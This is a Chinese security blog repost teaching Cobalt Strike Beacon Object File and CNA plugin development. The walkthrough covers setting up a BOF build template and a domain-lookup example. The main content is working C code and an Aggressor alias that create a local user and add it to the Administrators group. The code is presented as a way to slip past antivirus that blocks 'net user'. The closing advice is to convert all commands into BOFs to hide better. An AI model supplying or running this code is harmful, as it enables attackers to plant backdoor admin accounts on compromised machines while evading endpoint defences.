BOF及cna插件开发初探

admin 2024年6月6日23:20:12评论6 views字数 6642阅读22分8秒阅读模式

朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把“亿人安全设为星标”,否则可能就看不到了啦

原文链接:奇安信攻防社区

https://forum.butian.net/share/3003

主要讲下bof的代码编写和使用,让师傅们以后能快速修改上手利用

Beacon Object File

bof能够加载并执行C/C++编译后但未链接的目标obj文件(linux中的.o文件)。可以在beacon中执行内部的beaconAPI和Win32API。它的体积很小,在beacon进程内部运行,不会创建新进程,所以可以有效的规避一些EDR。

开发BOF

环境

OS: Windows 10
IDE: VS2022
开发模版: https://github.com/securifybv/Visual-Studio-BOF-template

将模版下载后,我们导入VS的模版目录。 用户路径\文稿\Visual Studio 2022\Templates\ProjectTemplates 然后在新建项目中就能看到模版

BOF及cna插件开发初探
然后在生成->批生成中勾选,方案配置选择BOF

BOF及cna插件开发初探
然后生成,就能够在项目目录里看到obj文件

BOF及cna插件开发初探

功能实现

首先了解一下动态函数解析(DFR) 比如我们要获取当前用户名,在Win32API中就要调用GetUserNameA,我们使用DFR就是要变成如下格式

DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);
  • DECLSPEC_IMPORT:导入函数的关键字

  • WINAPI:函数调用约定,一般API函数都是这个

  • ADVAPI32:函数所在的模块名

  • GetUserNameA:函数名称

查找当前域

简单实现一个查找当前域功能 修改模版中Source.c

#include <windows.h> 
#include <stdio.h>
#include <dsgetdc.h>
#include "beacon.h"

#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#ifdef BOF
//BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
BeaconPrintf(CALLBACK_OUTPUT, "Hello world");
#else
printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOF

return FALSE;
}
#pragma endregion

DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID);
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID);

#include <LM.h>

#ifdef BOF
void go(char* buff, int len) {
   DWORD dwRet;
   PDOMAIN_CONTROLLER_INFO pdcInfo;
   dwRet = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, 0, &pdcInfo);
   if (ERROR_SUCCESS == dwRet) {
       BeaconPrintf(CALLBACK_OUTPUT, "%s", pdcInfo->DomainName);
  }
   NETAPI32$NetApiBufferFree(pdcInfo);
}
#else

void main(int argc, char* argv[]) {

}

#endif

BOF及cna插件开发初探
于此我们也可以发现,go函数就是bof执行的入口,当在cs的beacon上执行inline-execute时就会调用go函数。

bof绕过杀毒添加用户

我们在cs上直接利用net user会被阻止

BOF及cna插件开发初探
但是我们如果采用bof的方式就能够绕过 代码如下

#include <windows.h> 
#include <stdio.h>
#include "bofdefs.h"
#include "beacon.h"

#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#ifdef BOF
//BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
BeaconPrintf(CALLBACK_OUTPUT, "Hello world");
#else
printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOF

return FALSE;
}
#pragma endregion

typedef DWORD NET_API_STATUS;

DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);

#include <LM.h>

#ifdef BOF
void go(char* buff, int len) {
USER_INFO_1 UserInfo;

UserInfo.usri1_name = L"Qqw666";            
UserInfo.usri1_password = L"Qqw@#123";      
UserInfo.usri1_priv = USER_PRIV_USER;
UserInfo.usri1_home_dir = NULL;
UserInfo.usri1_comment = NULL;
UserInfo.usri1_flags = UF_SCRIPT;
UserInfo.usri1_script_path = NULL;

NET_API_STATUS nStatus;

//创建用户
// https://learn.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netuseradd?redirectedfrom=MSDN
nStatus = NETAPI32$NetUserAdd(
NULL, //local server
1,    // information level
(LPBYTE)&UserInfo,
NULL // error value
);
if (nStatus == NERR_Success) {
BeaconPrintf(CALLBACK_OUTPUT, "NetUserAdd Success!n", NULL);
BeaconPrintf(CALLBACK_OUTPUT, "Username: %ws, PassWord: %ws", UserInfo.usri1_name, UserInfo.usri1_password);
}
else {
BeaconPrintf(CALLBACK_OUTPUT, "NetUserAdd Failed! %d", nStatus);
}

// 添加用户到管理员组
// https://learn.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netlocalgroupaddmembers?redirectedfrom=MSDN
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = UserInfo.usri1_name;

NET_API_STATUS aStatus;

aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
if (aStatus == NERR_Success) {
BeaconPrintf(CALLBACK_OUTPUT, "Add to Administrators success!", NULL);
}
else {
BeaconPrintf(CALLBACK_OUTPUT, "Add to Administrators failed!", NULL);
}

}
#else

void main(int argc, char* argv[]) {
go();
}

#endif

效果

BOF及cna插件开发初探
可以看到成功添加用户,并且添加到管理员组。注意执行这个操作需要有admin的权限。

CNA插件开发

先给出C语言代码,修改了功能,可以自定义用户名和密码

#include <windows.h> 
#include <stdio.h>
#include "bofdefs.h"
#include "beacon.h"

#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#ifdef BOF
//BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
BeaconPrintf(CALLBACK_OUTPUT, "Hello world");
#else
printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOF

return FALSE;
}
#pragma endregion

typedef DWORD NET_API_STATUS;

DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);

#include <LM.h>

#ifdef BOF
void go(char* buff, int len) {
datap parser;

LPWSTR username;
LPWSTR password;

// 初始化datap结构体变量(parser),用于解析从Beacon接收到的字节流(buff)
BeaconDataParse(&parser, buff, len);
username = (LPWSTR)BeaconDataExtract(&parser, NULL);
password = (LPWSTR)BeaconDataExtract(&parser, NULL);

BeaconPrintf(CALLBACK_OUTPUT, "Extracted username: %S", username);
BeaconPrintf(CALLBACK_OUTPUT, "Extracted password: %S", password);

USER_INFO_1 UserInfo;

UserInfo.usri1_name = username;
UserInfo.usri1_password = password;
UserInfo.usri1_priv = USER_PRIV_USER;
UserInfo.usri1_home_dir = NULL;
UserInfo.usri1_comment = NULL;
UserInfo.usri1_flags = UF_SCRIPT;
UserInfo.usri1_script_path = NULL;

NET_API_STATUS nStatus;

//创建用户
// https://learn.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netuseradd?redirectedfrom=MSDN
nStatus = NETAPI32$NetUserAdd(
NULL, //local server
1,    // information level
(LPBYTE)&UserInfo,
NULL // error value
);
if (nStatus == NERR_Success) {
BeaconPrintf(CALLBACK_OUTPUT, "NetUserAdd Success!", NULL);
BeaconPrintf(CALLBACK_OUTPUT, "Username: %ws, PassWord: %ws", UserInfo.usri1_name, UserInfo.usri1_password);
}
else {
BeaconPrintf(CALLBACK_OUTPUT, "NetUserAdd Failed! %d", nStatus);
}

// 添加用户到管理员组
// https://learn.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netlocalgroupaddmembers?redirectedfrom=MSDN
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = UserInfo.usri1_name;

NET_API_STATUS aStatus;

aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
if (aStatus == NERR_Success) {
BeaconPrintf(CALLBACK_OUTPUT, "Add to Administrators success!", NULL);
}
else {
BeaconPrintf(CALLBACK_OUTPUT, "Add to Administrators failed!", NULL);
}

}
#else

void main(int argc, char* argv[]) {
go();
}

#endif

cna代码

beacon_command_register(
"adduser",
"Add a user to administrators",
"usage: adduser [username]
输入密码查看隐藏内容

"
);

alias adduser{
local('$handle $data $args');

$uname = $2;
$pass = $3;

if ($uname eq "" or $pass eq "") {
berror($1, "usage command: help adduser");
return;
}

# 读入bof文件

   $handle = openf(script_resource("source.obj"));
   $data = readb($handle, -1);
   closef($handle);

# 打包参数两个ZZ代表两个参数
$args = bof_pack($1, "ZZ", $uname, $pass);

   # 执行bof
    # "go"是BOF中的函数名,$args是传递给这个函数的参数
beacon_inline_execute($1, $data, "go", $args);
}

效果如下

BOF及cna插件开发初探

总结

可以根据此思路实现所有命令bof化,能够更好的隐藏

原文始发于微信公众号(亿人安全):BOF及cna插件开发初探

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月6日23:20:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   BOF及cna插件开发初探http://cn-sec.com/archives/2822133.html

发表评论

匿名网友 填写信息